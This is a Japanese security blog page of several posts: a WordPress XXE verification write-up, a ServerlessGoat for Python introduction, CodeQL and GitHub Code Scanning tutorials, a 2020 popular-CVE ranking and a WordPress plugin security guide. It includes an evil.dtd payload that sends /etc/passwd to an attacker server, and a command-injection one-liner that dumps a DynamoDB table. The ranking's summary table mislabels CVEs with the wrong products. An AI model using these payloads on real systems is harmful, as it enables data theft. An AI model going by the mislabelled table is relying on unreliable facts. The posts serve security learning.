iXML チャンクを挿入 (Insert iXML Chunk)
プロジェクト名、作成者、フレームレートなどのプロジェクト関連の付加的な情報を追加します。

steinberg.help

攻撃者Webサーバを起動

 攻撃者Webサーバを起動します。
本来ではインターネット上で動作させて攻撃対象WordPressからリクエストを受け付けますが、検証ではホストPC上で動作させています。

攻撃者Webサーバを起動

 コンテナ内からホストPCにアクセスするためには host.docker.internal ドメインを使用します。

# curl http://host.docker.internal:8001/evil.dtd -v

> GET /evil.dtd HTTP/1.1
> Host: host.docker.internal:8001
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Host: host.docker.internal:8001
< Date: Sun, 18 Apr 2021 02:12:22 GMT
< Connection: close
< Content-Type: application/xml-dtd
< Content-Length: 193
<
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://host.docker.internal:8001/?p=%file;'>" >

WAVファイルのアップロード

  WordPressの管理画面にログインし、先ほど生成したWAVファイルをアップロードします。

 投稿者ロールのアカウントであるため、管理者ロールと比べてできることが少ないですがメディアのアップロードは可能です。

WAVファイルのアップロード

 WAVファイルをアップロードした瞬間に攻撃者Webサーバへ攻撃対象WordPressからアクセスがあります。

攻撃者Webサーバのログを確認

 アクセスログから evil.dtd謎のBase64文字列 へのアクセスが確認できます。

攻撃者Webサーバのログ

 赤枠で囲っている部分が /etc/passwdファイルの内容です。圧縮&エンコードされているので今は読めませんが...。

ログから取得した文字列の解凍

 ファイル内容は zlibで圧縮後、Base64エンコード されているため、そのまま読むことはできませんが Base64デコード後、zlibで解凍 することで読むことができるようになります。

取得した文字列の解凍

ファイル内容を確認

 取得するデータを圧縮する工夫をしていますが /var/www/html/wp-config.php ファイルはサイズの問題なのか取得することができませんでした...。 https://www.synacktiv.com/ressources/synacktiv_drupal_xxe_services.pdf#page=11

まとめ

 以上が脆弱性の検証でした。

 脆弱性が発生した理由は PHP 8以上時には、libxml_disable_entity_loader関数を呼び出していことがありました。

脆弱性の修正内容
脆弱性の修正内容

 ドキュメントの方には この関数は PHP 8.0.0 で 非推奨になります。 と記載があります。

しかし、下記のような記載があるので今回の場合は libxml_disable_entity_loader関数 を使う必要がようです。

libxml 2.9.0 以降では、エンティティの置換はデフォルトで無効になっているため、 LIBXML_NOENT を使って内部エンティティの参照を解決する必要がない限り、 外部エンティティの読み込みを無効にする必要はありません。

f:id:motikan2010:20210418211607p:plain:w600
libxml_disable_entity_loader 関数の説明

PHP: libxml_disable_entity_loader - Manual

 昨今では libxml 2.9.0 のように、デフォルトが安全な方になっていてセキュリティ面で意識しなくても良いようになってきていますが、特定の条件下(今回の場合はLIBXML_NOENTを引数に渡している)では脆弱になるということに注意する必要があると思った次第です。

参考

更新履歴

  • 2021年4月23日 「MAVファイル」を「WAVファイル」に修正
  • 2021年4月18日 新規作成

ServerlessGoat for Python を作ったので紹介

f:id:motikan2010:20210322225816g:plain:w600

はじめに

 まず「OWASP ServerlessGoat」というのはサーバレス環境を想定したアプリケーションセキュリティを学習するためのツールです。
脆弱性が含まれているアプリケーションのデプロイができ、実際に攻撃することでセキュリティの学習を行うことができます。

 その「OWASP ServerlessGoat」の Python 版を作成・公開したので共有します。 github.com

 すでに Java 版は存在していましたが、Python 版は見当たらなかったので作成しました。

↓ Java 版 の OWASP ServerlessGoat GitHub - CodeShield-Security/Serverless-Goat-Java: Java version of the deliberately vulnerable serverless application Serverless-Goat from https://github.com/OWASP/Serverless-Goat

 OWASP ServerlessGoat の具体的な学習内容は下の記事が参考になります。
サーバーレスやられアプリを使った脆弱性診断ハンズオン - Qiita

 また、似たような学習ツールに「OWASP DVSA」というものがあります。
GitHub - OWASP/DVSA: a Damn Vulnerable Serverless Application

OWASP ServerlessGoat の注意

 ベースとなっている OWASP ServerlessGoat で学習を進めるにあたってはいくつか注意点があります。

 リポジトリのサポートが止まっていることが主な原因なのですが、学習を進めるに当たって知っていた方がいいので列挙します。

GitHub - OWASP/Serverless-Goat: OWASP ServerlessGoat: a serverless application demonstrating common serverless security flaws

1. 更新が止まっている

 PureSec 社がメンテナンスしていますが、2019年5月に買収されたのが原因なのかメンテナンスが行われていません。

 CloudFormationテンプレート内のLamdaのランタイムが「nodejs8.10」で作成されているので、現在のLambdaでは起動することができません。

 起動する場合は各自でテンプレートを編集してデプロイする必要があります。

2. Lambda ランタイムが Node.js

 注意点というよりは理想ですが、やられアプリはシェアの高い環境下を想定されているものがいいと考えています。

 Datadog 社の調査によると 2019年 Lambda ランタイムは Python のほうが人気とのこと。
しかし OWASP ServerlessGoat は Node.js のみをサポートしている状態です。

f:id:motikan2010:20210317222554p:plain:w400

サーバレスの現状 the State of Serverless | Datadog

3. PureSec 社のサイト消失

 ServerlessGoat を利用しての学習を進める上で https://puresec.io/hubfs/document.doc の Word ファイルにアクセスして正常動作を確認する場合がありますが、既にこのファイルは存在しておらず正常動作を確認できない状態となっています。正常動作を確認するには適当な Word ファイルを見つけてアクセスする必要があります。

 正常動作が確認できないだけで、脆弱性を使った学習に影響はありません。

使い方

 私は sam コマンドを使ってビルド・デプロイをしました。

$ sam --version
SAM CLI, version 1.20.0

ビルド

$ sam build --use-container

デプロイ

$ sam deploy --stack-name "serverless-goat-pyton" --guided

serverless-goat-pytonの部分は任意の文字列

 下画像がトップ画面です。Word ファイルはリポジトリ内にホスティングするようにしています。

f:id:motikan2010:20210318010310p:plain:w600

学習

Lesson 4: Exploiting Over-Privileged IAM Roles

 DynamoDB から全データを取得する項目ですが Python で記述すると以下のようになります。

https://; python -c 'import os;import boto3;print(boto3.resource("dynamodb").Table(os.getenv("TABLE_NAME")).scan())' #

まとめ

 以上、「ServerlessGoat for Python」の紹介でした。

 まだ、README などのドキュメント類の修正はしておらず本家のままとなっていますが、気になる部分を見つけ次第修正してしようかなとは思っています。

 CloudFormation 環境の構築のために作成したポリシー。IAM力が足りないと実感・・・。

f:id:motikan2010:20210318011947p:plain:w300
※動くけど悪い例

更新履歴

  • 2021年3月17日 新規作成

CodeQLで遊ぶ ~ ローカル環境で試す『静的アプリケーション・セキュリティ・テスト』 ~

f:id:motikan2010:20210207233948p:plain:w600

はじめに

 本記事でやること。

  • CodeQL を導入
  • 脆弱なアプリケーションに対してのセキュリティテスト(XXEを検出)
  • 検出結果を見てみる

CodeQL とは

 CodeQL は SAST(Static application security testing) というセキュリティテスト手法を実現するためのツールです。

 本ブログで何度か取りあげた GitHub Code Scanning も SAST に属しているセキュリティテスト手法です。
GitHubのCode Scanningを使ってみるGitHubのCode Scanningを使ってみる パート2

 そして GitHub Code Scanning は CodeQLの技術が利用されています。

github.blog

f:id:motikan2010:20210208004307p:plain
Code Scanningの実行画面。CodeQLが利用されていることが確認できます。

 CodeQL を使うメリットとしてはローカルPCに導入して利用することができるため、GitHubなどで管理していないソースコードに対してもセキュリティテストを実施することができます

 本記事では CodeQL をローカルPC上に導入し、脆弱性を含んだサンプルアプリケーションに対してセキュリティテストを行うまでを紹介します。

※本記事の情報は2021年2月時点のものです。

サポート言語

 本記事では Javaで作成したアプリケーションを対象にセキュリティテストを実施しますが、CodeQL でサポートされている言語は以下の通りです。

  • C/C++
  • C#
  • Golang
  • Java
  • JavaScript
  • Python
  • TypeScript

 バージョンによってはサポート外のものもありますので詳細は公式ドキュメント(Supported languages and frameworks — CodeQL)をご覧ください。

準備

検証環境

  • MacOS 10.15.7
  • Java (AdoptOpenJDK) 11

 本記事では以下のツールを導入して検証していきます。

ツール・アプリケーション 簡単な説明
CodeQL CLI CodeQL のコマンドラインツールです。
バージョン: 2.3.4
CodeQL query セキュリティテストに必要なクエリが保存されています。
バージョン: 1.26.0
検査対象アプリケーション XXE の脆弱性を含んでいる Spring Boot 製のアプリケーションです。
motikan2010/GitHub-code-scanning-Test

 私の環境では CodeQL CLI 2.4.3 を使った場合に "CodeQLデータベースの生成" が上手くいかなかったので、少し古いバージョンを利用しています。

検証環境の構築

 検証に使うツール郡は全てGitHubにありますので、それらをダウンロードしていきます。

■ 作業用ディレクトリを作成
$ mkdir codeql_work
$ cd codeql_work/

■ 検査対象アプリケーションのダウンロード
$ git clone -b feature/xml-external-entity git@github.com:motikan2010/GitHub-code-scanning-Test.git

■ CodeQL CLI のダウンロード (v2.3.4 リリース日:2020/12/17)
$ wget https://github.com/github/codeql-cli-binaries/releases/download/v2.3.4/codeql-osx64.zip
$ unzip codeql-osx64.zip
$ rm -f codeql-osx64.zip

■ CodeQL のダウンロード (v1.26.0 リリース日:2020/12/17)
$ git clone -b v1.26.0 https://github.com/github/codeql.git ql

■ 作業用ディレクトリの状態
~/Desktop/codeql_work
$ ll
total 0
drwxr-xr-x  12 motikan2010  staff  384  2  7 14:58 GitHub-code-scanning-Test
drwxr-xr-x  18 motikan2010  staff  576 12 16 01:15 codeql
drwxr-xr-x  25 motikan2010  staff  800  2  7 15:01 ql

CodeQL CLI の動作確認 (バージョンの表示)

 CodeQL CLI が正常に動作するかバージョンを表示するコマンドを実行します。

$ cd codeql
$ ./codeql version --format=json
{
  "productName" : "CodeQL",
  "vendor" : "GitHub",
  "version" : "2.3.4",
  "sha" : "ff8bc627f2f24adc6ea19c838237d80a8f24a41f",
  "branches" : [
    "codeql-cli-2.3.4"
  ],
  "copyright" : "Copyright (C) 2019-2020 GitHub, Inc.",
  "unpackedLocation" : "/Users/motikan2010/Desktop/codeql_work/codeql"
}

動作確認

 スキャンは3ステップで行えます。

  1. スキャン対象のソースコードを元に CodeQLデータベースの生成
  2. 「1.」 のデータベースに対して CodeQLクエリの実行
  3. スキャン結果の表示

CodeQLデータベースの生成

 CodeQLデータベースの生成は codeql database create コマンドで実行できます。

Creating CodeQL databases — CodeQL

$ ./codeql database create -l=java -s ../GitHub-code-scanning-Test codeql_db

 コマンド実行時の出力です。テスト対象のアプリケーションをビルドしているようです。

Initializing database at /Users/motikan2010/Desktop/codeql_work/codeql/codeql_db.
Running command [/Users/motikan2010/Desktop/codeql_work/codeql/java/tools/autobuild.sh] in /Users/motikan2010/Desktop/codeql_work/GitHub-code-scanning-Test.
[2021-02-07 15:19:30] [build] [2021-02-07 15:19:30] Build directory is /Users/motikan2010/Desktop/codeql_work/GitHub-code-scanning-Test/.
[2021-02-07 15:19:30] [build] [2021-02-07 15:19:30] [autobuild] > chmod +x gradlew
[2021-02-07 15:19:30] [build] [2021-02-07 15:19:30] [autobuild] > ./gradlew -Dorg.gradle.caching=false --no-daemon -S clean
[2021-02-07 15:19:34] [build] [2021-02-07 15:19:34] [autobuild] To honour the JVM settings for this build a new JVM will be forked. Please consider using the daemon: https://docs.gradle.org/6.6.1/userguide/gradle_daemon.html.
[2021-02-07 15:19:36] [build] [2021-02-07 15:19:36] [autobuild] Daemon will be stopped at the end of the build stopping after processing
[2021-02-07 15:19:41] [build] [2021-02-07 15:19:41] [autobuild] > Task :clean UP-TO-DATE
[2021-02-07 15:19:41] [build] [2021-02-07 15:19:41] [autobuild] BUILD SUCCESSFUL in 8s
[2021-02-07 15:19:41] [build] [2021-02-07 15:19:41] [autobuild] 1 actionable task: 1 up-to-date
[2021-02-07 15:19:41] [build] [2021-02-07 15:19:41] [autobuild] > ./gradlew -Dorg.gradle.caching=false --no-daemon -S testClasses
[2021-02-07 15:19:43] [build] [2021-02-07 15:19:43] [autobuild] To honour the JVM settings for this build a new JVM will be forked. Please consider using the daemon: https://docs.gradle.org/6.6.1/userguide/gradle_daemon.html.
[2021-02-07 15:19:45] [build] [2021-02-07 15:19:45] [autobuild] Daemon will be stopped at the end of the build stopping after processing
[2021-02-07 15:20:02] [build] [2021-02-07 15:20:02] [autobuild] > Task :compileJava
[2021-02-07 15:20:02] [build] [2021-02-07 15:20:02] [autobuild] > Task :processResources
[2021-02-07 15:20:02] [build] [2021-02-07 15:20:02] [autobuild] > Task :classes
[2021-02-07 15:20:06] [build] [2021-02-07 15:20:06] [autobuild] > Task :compileTestJava
[2021-02-07 15:20:06] [build] [2021-02-07 15:20:06] [autobuild] > Task :processTestResources NO-SOURCE
[2021-02-07 15:20:06] [build] [2021-02-07 15:20:06] [autobuild] > Task :testClasses
[2021-02-07 15:20:07] [build] [2021-02-07 15:20:07] [autobuild] BUILD SUCCESSFUL in 24s
[2021-02-07 15:20:07] [build] [2021-02-07 15:20:07] [autobuild] 3 actionable tasks: 3 executed
Finalizing database at /Users/motikan2010/Desktop/codeql_work/codeql/codeql_db.
[2021-02-07 15:20:09] [build-err] Scanning for files in /Users/motikan2010/Desktop/codeql_work/GitHub-code-scanning-Test...
Successfully created database at /Users/motikan2010/Desktop/codeql_work/codeql/codeql_db.

 コマンド実行後、"codeql_db"というディレクトリが作成されます。 CodeQLデータベースの作成が正常に行われた場合のディレクトリの中身は以下の通りです。

$ ls -l codeql_db
total 16
-rw-r--r--   1 motikan2010  staff   136  2  7 15:20 codeql-database.yml
drwxr-xr-x   5 motikan2010  staff   160  2  7 15:20 db-java
drwxr-xr-x  15 motikan2010  staff   480  2  7 15:24 log
drwxr-xr-x   3 motikan2010  staff    96  2  7 15:23 results
-rw-------   1 motikan2010  staff  2172  2  7 15:20 src.zip

脆弱性の検出

 スキャンは codeql database analyze コマンドで実行できます。(database analyze — CLI manual)

 検出対象の脆弱性は以下の通りです。

codeql/java/ql/src/Security/CWE at main · github/codeql

CWE 識別子 概要 (JVN iPedia)
CWE-20 不適切な入力確認
CWE-22 パス・トラバーサル
CWE-78 OSコマンドインジェクション
CWE-79 クロスサイトスクリプティング
CWE-89 SQLインジェクション
CWE-90 LDAP インジェクション
CWE-94 コード・インジェクション
CWE-113 HTTP レスポンスの分割
CWE-129 配列インデックスの不適切な検証
CWE-134 書式文字列の問題
CWE-190 整数オーバーフローまたはラップアラウンド
CWE-209 エラーメッセージによる情報漏えい
CWE-312 重要な情報の平文保存
CWE-319 重要な情報の平文での送信
CWE-327 不完全、または危険な暗号アルゴリズムの使用
CWE-335 PRNG におけるシードの不正な使用
CWE-338 暗号における脆弱な PRNG の使用
CWE-352 クロスサイトリクエストフォージェリ
CWE-367 Time-of-check Time-of-use (TOCTOU) 競合状態
CWE-421 Race Condition During Access to Alternate Channel (by MITRE)
CWE-502 信頼できないデータのデシリアライゼーション
CWE-601 オープンリダイレクト
CWE-611 XML 外部エンティティ参照の不適切な制限
CWE-614 Sensitive Cookie in HTTPS Session Without 'Secure' Attribute (by MITRE)
CWE-676 Use of Potentially Dangerous Function (by MITRE)
CWE-681 数値型間の変換の誤り
CWE-732 重要なリソースに対する不適切なパーミッションの割り当て
CWE-798 ハードコードされた認証情報の使用
CWE-807 Reliance on Untrusted Inputs in a Security Decision (by MITRE)
CWE-829 信頼性のない制御領域からの機能の組み込み
CWE-833 Deadlock (by MITRE)
CWE-835 無限ループ

XXE の検査 ~ 検出されることの確認 ~

 全ての脆弱性を検査対象にすると時間が掛かってしまうため、今回は「XXE攻撃(XML eXternal Entity attack)」のみを対象に検査します。
(全てを検査対象にした場合、10分ほど時間が掛かりました。)

検査の実施 ~ CSV形式で出力 ~

 テスト結果はファイルに出力されるようになっています。ファイル形式は --format で指定します。

CSV形式で出力した例です。

■ 検査の実行
$ ./codeql database analyze "codeql_db" \
../ql/java/ql/src/Security/CWE/CWE-611/ \
--format csv --output xxe_result.csv

■ 検査結果の表示
$ cat xxe_result.csv
"Resolving XML external entity in user-controlled data","Parsing user-controlled XML documents and allowing expansion of external entity references may lead to disclosure of confidential data or denial of service.","error","Unsafe parsing of XML file from [[""user input""|""relative:///src/main/java/com/motikan2010/github_code_scanning_test/controller/XxeController.java:26:52:26:92""]].","/src/main/java/com/motikan2010/github_code_scanning_test/controller/XxeController.java","29","41","29","79"

 1行のCSVファイルとして結果が出力されました。
少々見づらいですが結果内容に脆弱性が見つかったファイルや行数の記載がされていることが確認できます。

検査の実施 ~ SARIFで出力 ~

 次は SARIFで出力してみます。

SARIFという単語は馴染みありませんが「Static Analysis Results Interchange Format」の略称であり、

SARIF 標準は、静的分析ツールが結果を共有する方法を合理化するために使用されます。

とのことです。
(当初私は SARIF"形式"と書いていましたが、「Format」の"F"なので明らかな誤りですね...)

 SARIF の見方は下のドキュメントが参考になります。
docs.github.com

■ 検査の実行
$ ./codeql database analyze "codeql_db" \
../ql/java/ql/src/Security/CWE/CWE-611/ \
--format=sarif-latest --sarif-multicause-markdown --output=xxe_result.sarif --no-sarif-add-snippets

 中身はJSON形式のようです。

$ cat xxe_result.sarif | jq .

 結果を見てみると以下のような記載があります。

"locations": [
  {
    "physicalLocation": {
      "artifactLocation": {
        "uri": "src/main/java/com/motikan2010/github_code_scanning_test/controller/XxeController.java",
        "uriBaseId": "%SRCROOT%",
        "index": 0
      },
      "region": {
        "startLine": 29,
        "startColumn": 41,
        "endColumn": 80
      }
    }
  }
],

これはソースコード上で脆弱性を存在している部分を示しています。

 指摘されたソースコードは下の画像です。

f:id:motikan2010:20210208014644p:plain
指摘されたソースコード

 確かに脆弱性となっている部分です。

RCE の検査 ~ 検出されないことの確認 ~

 次は RCE を検査し、脆弱性が検出されないことを確認します。

■ 検査の実行
$ ./codeql database analyze "codeql_db" \
../ql/java/ql/src/Security/CWE/CWE-078/ \
--format csv --output rce_result.csv

■ 検査結果の表示
$ cat rce_result.csv
(出力なし)

 脆弱性が検出されなかったので、検査結果が格納されるファイルは空となりました。
(ツール使用当初は検査が失敗しているのではと疑っていました・・・)

まとめ

 CodeQL。簡単。無料。 楽しい。

お金ないけどプライベートリポジトリに対してSASTしたいよという方にはオススメです。

参考

更新履歴

  • 2021年2月7日 新規作成
  • 2021年2月8日 CWE記載など

GitHubのCode Scanningを使ってみる パート2

f:id:motikan2010:20210202005126p:plain:w500

はじめに

 この記事は先日書いた「GitHubのCode Scanningを使ってみる」の続きです。
Code Scanning の導入は下の記事を参照ください。 blog.motikan2010.com

 前回は GitHub Code Scanning によって「SQL Injection」、「Insecure Deserialization(安全でないデシリアライゼーション)」、「Cross-Site Scripting(XSS)」が検出されるのかを検証しました。

 本記事では前回に引き続き下記3つの脆弱性が検出されるのかを確認していきます。

  • RCE (Remote Code Execution)
  • Directory Traversal
  • XML External Entity 攻撃

 さらに今回は脆弱性の検出有無の確認だけでなく、Code Scanning の検出レポートを参考に脆弱性の修正し、脆弱性が検出されなくなったことも確認します

スキャン実行

 前回と同様に脆弱性を含んだ Java(Spring Boot) のアプリケーションで確認していきます。

下のリポジトリが脆弱性を含んだアプリケーションです。 github.com

 スキャン結果の内容については前回の記事で説明しているため流す程度にします。

RCE (Remote Code Execution)

 最初は RCE (Remote Code Execution) の確認です。

 Code Scanning はプルリク作成時に実行されます。 RCE を含んだコードのプルリクを作成したので、想定通りであれば脆弱性が検出されるはずです。

 スキャン結果は下画像の通り脆弱性が検出されました。

f:id:motikan2010:20210201223220p:plain

 検出された脆弱性の詳細も確認することもできます。

f:id:motikan2010:20210201230111p:plain

Directory Traversal

 次は Directory Traversal の脆弱性 です。

先ほどと同様に脆弱性が検出されました。

f:id:motikan2010:20210201223224p:plain

 脆弱性の詳細は下画像の通りです。

f:id:motikan2010:20210201230115p:plain

XML External Entity 攻撃

 最後は XML External Entity 攻撃 です。

この脆弱性も検出されました。

f:id:motikan2010:20210201223228p:plain

 脆弱性の詳細も先ほとど同様に下の画像の通り表示されました。

この詳細には脆弱性の修正方法も記載されているので、次はこの記載に従ってソースコードを修正し、脆弱性が検出されなくなったことを確認していきます。

f:id:motikan2010:20210201230119p:plain

脆弱性を修正

 ここで修正していく脆弱性は「XML External Entity 攻撃」です。

 修正前のアプリケーションに対しては攻撃が成功できることが確認できます。

f:id:motikan2010:20210202002512p:plain
脆弱性の修正前

 検出された脆弱性の詳細の下部に脆弱性の修正方法が記載されています。
XML External Entity 攻撃 の場合は下画像のように表示されています。
f:id:motikan2010:20210201230127p:plain

修正方法として

The best way to prevent XXE attacks is to disable the parsing of any Document Type Declarations (DTDs) in untrusted data.

と記載されていますので、 DTD(Document Type Definition) を無効にすれば良さそうです。

そして無効化するためのサンプルコードも記載されています。下記のコードを追加すればよさそうです。

factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

 先ほどの脆弱性が検出されたコードにこの修正を加えてみて、再度スキャンを実行してみます。

 スキャン結果:脆弱性が検出されなくなりました。
f:id:motikan2010:20210202001914p:plain

 修正後のアプリケーションに対して攻撃をしてみます。結果はエラーとなり攻撃は成功せず脆弱性は修正されたことが確認できます。

f:id:motikan2010:20210202002416p:plain
脆弱性の修正後

 アプリケーション側のエラーメッセージからXML解析に制限が掛かっていることが確認できます。

f:id:motikan2010:20210202002310p:plain
XML解析に制限が掛かっている

まとめ

 今回は3種類の脆弱性を Code Scanning で検出できるのかを確認してみましたが、問題なく検出することができました。
そして検出された脆弱性に関しては、検出レポート通りにアプリケーションを修正することで脆弱性が検出されなくなることも確認できました。

 Code Scanning は脆弱性を検出するためのツールですが、検出レポートの説明が詳細に記載されているためセキュリティの学習のツールとしても活躍しそうです。
(学習者が事前に脆弱性の含んだアプリケーションを修正するなど...)

参考

更新履歴

  • 2021年2月1日 新規作成

2020年 人気脆弱性 TOP 10 in GitHub

f:id:motikan2010:20210101181451p:plain:w600

はじめに

 「CVE-2020-XXXXXX」が採番された脆弱性の人気TOP 10です。

脆弱性の PoC リポジトリ数やそのリポジトリへのスター数からポイントを算出しています。
算出方法については下の2019年版に記載しています。

blog.motikan2010.com

TOP 10

10位 495 ポイント 『SaltStack Salt における入力確認に関する脆弱性 (CVE-2020-11651)』

公表日:2020/04/30

f:id:motikan2010:20210101171734p:plain:w400
SaltStack のロゴ

SaltStack とは

SaltStack/Saltは、システム管理者がサーバーのプロビジョニングおよび管理タスクを自動化するための構成管理(Confuguration Management、CM)とオーケストレーションのツールです。

blog.ipswitch.com

脆弱性の内容

脆弱性が悪用された場合、リモートからの攻撃によって、認証不要でマスターサーバ上のユーザトークンが窃取されたり、管理対象サーバ上で任意のコマンドを実行されたりするなどの可能性があります。

www.jpcert.or.jp

9位 508 ポイント 『複数の Microsoft Windows 製品における権限を昇格される脆弱性 (CVE-2020-0787)』

公表日:2020/03/12

ベンダは、本脆弱性を「Windows Background Intelligent Transfer Service の特権の昇格の脆弱性」として公開しています。

Background Intelligent Transfer Service (BITS) とは

BITSとは、Windowsの機能の一つで、通信回線の空いている伝送容量を用いて他のプログラムの通信を阻害せずにファイルの送受信を行うもの。

e-words.jp

脆弱性の内容

www.terabitweb.com

8位 1026 ポイント 『Apache Tomcat の不適切な認可処理 (CVE-2020-1938 通称「Ghostcat」)』

公表日:2020/02/24

f:id:motikan2010:20201231200539p:plain:w200
Ghostcat のロゴ

脆弱性の内容

 脆弱性を発見したリサーチャ(Chaitin Tech)の記事。
www.chaitin.cn

 脆弱性の解説記事。
blog.trendmicro.co.jp

7位 1076 ポイント 『Microsoft Exchange Server におけるリモートでコードを実行される脆弱性 (CVE-2020-0688)』

公表日:2020/02/11

Exchange Server とは

Exchange Serverとは、Microsoftが開発しているサーバーソフトウェアの一種である。メールサーバーの機能とグループウェアの機能を統合的に管理することができる。

www.weblio.jp

脆弱性の内容

blog.macnica.net

jp.tenable.com

6位 1185 ポイント 『複数の BIG-IP 製品におけるコードインジェクションの脆弱性 (CVE-2020-5902)』

公表日:2020/07/01

脆弱性の内容

 製品提供元である F5 社による脆弱性情報です。
K52145254: TMUI RCE vulnerability CVE-2020-5902

 日本語での情報は下の記事が参考になります。
medium.com

5位 1520 ポイント 『Oracle Fusion Middleware の Oracle WebLogic Server における WLS Core Components に関する脆弱性 (CVE-2020-2551)』

公表日:2020/01/15

f:id:motikan2010:20210101175240j:plain:w400

IIOP プロトコル関連

IIOPを使用すると、異なるプログラミング言語で記述された分散プログラムどうしがインターネット経由で通信できるようになります。

サーバー: 管理: プロトコル: IIOP

docs.oracle.com

脆弱性の内容

medium.com

4位 1709 ポイント 『Microsoft Windows CryptoAPI における Elliptic Curve Cryptography (ECC) 証明書の検証不備の脆弱性 (CVE-2020-0601)』

公表日:2020/01/14

脆弱性の内容

jovi0608.hatenablog.com

3位 3149 ポイント 『複数の Microsoft Windows 製品における権限昇格の脆弱性 (Netlogon) (CVE-2020-1472 通称「Zerologon」)』

公表日:2020/08/17

Netlogon とは

 脆弱性と共に Netlogon リモートプロトコルの解説が記載されています。
www.nri-secure.co.jp

脆弱性の内容

 脆弱性の発表元である Secura のホワイトペーパーです。
www.secura.com

解説動画

2位 3451 ポイント 『Oracle Fusion Middleware の Oracle WebLogic Server における Console に関する脆弱性 (CVE-2020-14882)』

公表日:2020/10/21

f:id:motikan2010:20210101175240j:plain:w400

脆弱性の内容

nekochansecurity555.hatenablog.com

www.npa.go.jp

1位 3696 ポイント 『Microsoft SMBv3 の接続処理にリモートコード実行の脆弱性 (CVE-2020-0796)』

公表日:2020/03/12

脆弱性の内容

 脆弱性の検証レポートです。
www.intellilink.co.jp

 脆弱性に関する情報がまとめられています。
piyolog.hatenadiary.jp

脆弱性に関連するアクセスの観測状況

f:id:motikan2010:20201231223324p:plain:w500
Microsoft SMBv3の脆弱性(CVE-2020-0796)に関連するアクセスの観測状況(グラフ)

Microsoft SMBv3の脆弱性(CVE-2020-0796)に関連するアクセスの観測について | 警察庁 @police

TOP 10 一覧

スコア CVE ID リポ数 スター合計
1位 3696 CVE-2020-0796 / SaltStack Salt 69 3006
2位 3451 CVE-2020-14882
/ Windows Background Intelligent Transfer Service
23 3221
3位 3149 CVE-2020-1472 / Apache Tomcat 45 2699
4位 1709 CVE-2020-0601 / Microsoft Exchange Server 32 1389
5位 1520 CVE-2020-2551 / BIG-IP 製品 8 1440
6位 1185 CVE-2020-5902 / Oracle WebLogic Server 51 675
7位 1076 CVE-2020-0688 / Microsoft Windows CryptoAPI 17 906
8位 1026 CVE-2020-1938 / Netlogon 23 796
9位 508 CVE-2020-0787 / Oracle WebLogic Server 3 478
10位 495 CVE-2020-11651 / Microsoft SMBv3 12 375

おまけ

リポ数 CVE ID 概要 (上のTOP 10に入っているものは「-」表記)
69 CVE-2020-0796 -
51 CVE-2020-5902 -
45 CVE-2020-1472 -
32 CVE-2020-0601 -
23 CVE-2020-14882 -
23 CVE-2020-1938 -
17 CVE-2020-0688 -
15 CVE-2020-16898 Microsoft Windows 10 および Windows Server におけるリモートでコードを実行される脆弱性
(Windows TCP/IP のリモートでコードが実行される脆弱性)
14 CVE-2020-1350 複数の Microsoft Windows 製品におけるリモートでコードを実行される脆弱性
(Windows DNS サーバーのリモートでコードが実行される脆弱性)
13 CVE-2020-3452 Cisco Adaptive Security Appliance ソフトウェアおよび Firepower Threat Defense ソフトウェアにおける入力確認に関する脆弱性

参考

更新履歴

  • 2020年1月1日 新規作成

WordPressプラグイン開発のセキュリティ

f:id:motikan2010:20201117002745p:plain:w500

はじめに

 WordPress プグラインを開発するにあたって、脆弱性を作らないためにはどのような点に気を付ける必要があるのかを紹介していきます。

★ 以下の方を対象に本記事を書いています。

  • WordPress プラグイン開発者
  • WordPress プラグインの脆弱性を見つけたい方
  • 脆弱な WordPress プラグインを開発したい方

★ 本記事では以下の6つの脆弱性について紹介していきます。

  1. PHPファイルへの直接アクセス
  2. サードパーティライブラリ
  3. 権限の検証に不備があるAPIの呼び出し
  4. CSRF(Cross-site Request Forgery)
  5. XSS(Cross-site scripting)
  6. SQL インジェクション

 また、WPScan から「WordPress Plugin Security Testing Cheat Sheet」というセキュリティテストのチートシートが提供されております。

このチートシート内の説明は少し物足りないように見受けられますが、網羅的に脆弱性が紹介されていますので目を通しておくことをオススメします。

github.com

脆弱性種類

 WordPress 色が強い脆弱性の順番で紹介します。

1. PHPファイルへの直接アクセス

 まず WordPress のドキュメントルート以下には誰でもアクセスすることが可能です。

 プラグインのインストール先である /wp-content/plugins 以下も例外ではないため、プラグインに含まれるPHPファイルに WordPress 経由でなくともアクセスすることが可能です。

 そのため WordPress 経由でのコード実行を想定している場合に、直接アクセスされることで意図していない処理が行われる恐れがあります。

対策

 直接PHPファイルが呼び出された場合にはエラーを返すようにし、WordPress コード内から呼び出された場合にのみ処理を始めるようにします。

具体的にはPHPファイルの先頭に以下のコードを記述します。

<?php

if ( !defined('ABSPATH') ) {
    die( 'Forbidden' );
}

 定数「ABSPATH」は wp-config.php で定義されることになっているので、WordPress 経由でないと「if より後続の処理が実行されない」ということになります。
直接PHPファイルにアクセスされても処理が行われないようになります。

機密ファイルへの直接アクセス

 似たような特徴を持った脆弱性を1つ紹介します。

 前述しましたがプラグインのディレクトリ配下は誰もがアクセスすることが可能です。

 そのディレクトリにアクセスログや管理操作ログなどの機密情報を保存するプラグインの場合、それらのファイルにアクセスされ、内容が閲覧されてしまう可能性があります。実際にそのような脆弱性が報告されているプラグインも存在しています。

 そこで機密情報を含んだファイルを扱っているプラグインは以下のような実装をすることで内容が閲覧されないように対策されていました。

  1. ファイル名に推測されないランダム文字列の利用
    → ファイルにアクセスすることが難しくなる
  2. ファイル内容の先頭に<?php exit; ?> と記述し、ファイル名を *.php で保存
    → ファイルにアクセスされても内容が表示されない
    f:id:motikan2010:20201117211421p:plain:w500
    このようにすると秘密の情報が読み取られません

 上の対策方法の片方を行えば問題ないと考えられますが、両方やっていた方がより安全かなと思っていたりします。
何かの拍子に 「ディレクトリリスティングが有効状態」や「PHPが実行されずPHPファイルがダウンロードされる状態」になった場合のことを考えて。

2. サードパーティライブラリ

 サードパーティから提供されているプログラムを用いて WordPress プラグインを開発した場合に発生する可能性がある脆弱性です。

事例

 2つ事例を紹介します。

事例1 : elFinder

 「File Manager」には /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php に特定のリクエストを送信することで任意のファイルをアップロードすることができるという脆弱性がありました。

